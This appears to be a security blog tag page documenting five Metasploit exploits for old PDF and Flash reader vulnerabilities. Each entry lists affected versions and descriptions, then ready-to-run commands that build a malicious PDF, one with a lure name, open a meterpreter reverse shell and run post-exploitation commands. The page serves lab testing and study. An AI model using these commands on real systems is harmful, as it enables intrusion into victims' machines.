aka wow on ZATAZ.com
Posts tagged PDF
CVE-2010-2883 : Adobe CoolType SING Table “uniqueName” Stack Buffer Overflow
11 year ago
in Exploits, Metasploit
Timeline :
Vulnerability exploited in the wild and discovered by Mila Parkour the 2010-09-06
Metasploit PoC provided the 2010-09-08
PoC provided by :
sn0wfl0w
vicheck
jduck
Reference(s) :
Affected version(s) :
Adobe Reader 9.3.4 and previous versions for Windows, Macintosh and UNIX.
Adobe Acrobat 9.3.4 and previous versions for Windows and Macintosh.
Tested on Windows XP SP3 with :
Adobe Reader 9.3.4
Description :
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are assumed to be vulnerable as well.
Commands :
use exploit/windows/fileformat/adobe_cooltype_sing
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploituse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -jsessions -i 1
sysinfo
getuid
ipconfig
OSVDB-68514 : Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
01 year ago
in Exploits, Metasploit
Timeline :
Vulnerability discovered by corelanc0d3r & rick2600 the 2010-04-03
Vulnerability disclosed to the vendor the 2010-04-08
Coordinated vulnerability disclosure the 2010-10-08
Metasploit PoC provided the 2010-10-08
PoC provided by :
corelanc0d3r
rick2600
Reference(s) :
Affected version(s) :
Nuance PDF Reader 6.0
Tested on Windows XP SP3 with :
Nuance PDF Reader 6.0
Description :
This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record. This exploit does not use javascript.
Commands :
use exploit/windows/fileformat/nuance_pdf_launch_overflow
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploituse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -jsessions -i 1
sysinfo
getuid
ipconfig
CVE-2010-3654 : Adobe Flash Player Button Remote Code Execution
01 year ago
in Exploits, Metasploit
PoC provided by :
Unknown
Haifei Li
jduck
Reference(s) :
Affected version(s) :
Adobe Flash Player 10.1.85.3 and earlier versions for Windows, Macintosh, Linux and Solaris operating systems
Adobe Flash Player 10.1.95.2 and earlier for Android
Adobe Reader 9.4 and earlier 9.x versions for Windows, Macintosh and UNIX*
Adobe Acrobat 9.4 and earlier 9.x versions for Windows and Macintosh
Tested on Windows XP SP3 with :
Acrobat Reader 9.4.0
Flash Player 10,0,42,34
Description :
This module exploits a vulnerability in the handling of certain SWF movies within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number.
Commands :
use exploit/windows/fileformat/adobe_flashplayer_button
set FILENAME contract.pdf
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploituse exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -jsessions -i 1
getuid
getsystem
shell
EDB-ID-15532 : Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
01 year ago
in Exploits, Metasploit
Timeline :
Vulnerability reported to vendor by offsec before the public release on Exploit-DB
Vendor released new version the 2010-09-29
dookie & Sud0 exploit release on Exploit-DB the 2010-11-13
Metasploit exploit released the 2010-11-22
PoC provided by :
dookie
Sud0
corelanc0d3r
jduck
Reference(s) :
Affected version(s) :
Foxit PDF Reader prior to version 4.2.0.0928
Tested on Windows 7 Integral with :
Foxit PDF Reader 4.1.1.0805
Description :
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript.
Commands :
use exploit/windows/fileformat/foxit_title_bof
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploituse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -jsysinfo
getuid
CVE-2008-2992 : Adobe Acrobat util.printf Buffer Overflow
01 year ago
in Exploits, Metasploit
Timeline :
Vulnerability reported by Peter Vreugdenhil to ZDI
Vulnerability reported from ZDI to the vendor the 2008-01-21
Coordinated public release the 2008-11-04
Milw0rm PoC provided by Debasis Mohanty the 2008-11-05
Metasploit PoC provided by Mario Ceballos the 2008-12-03
PoC provided by :
MC
Didier Stevens
Reference(s) :
Affected version(s) :
Adobe Reader and Adobe Acrobat Professional prior to 8.1.3
Tested on Windows XP SP3 with :
Adobe Reader 8.1.2
Description :
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional prior to 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf entry, an attacker may be able to execute arbitrary code
Commands :
use exploit/windows/fileformat/adobe_utilprintf
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploituse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -jsessions -i 1
sysinfo
getuid
ipconfig
Recent Comments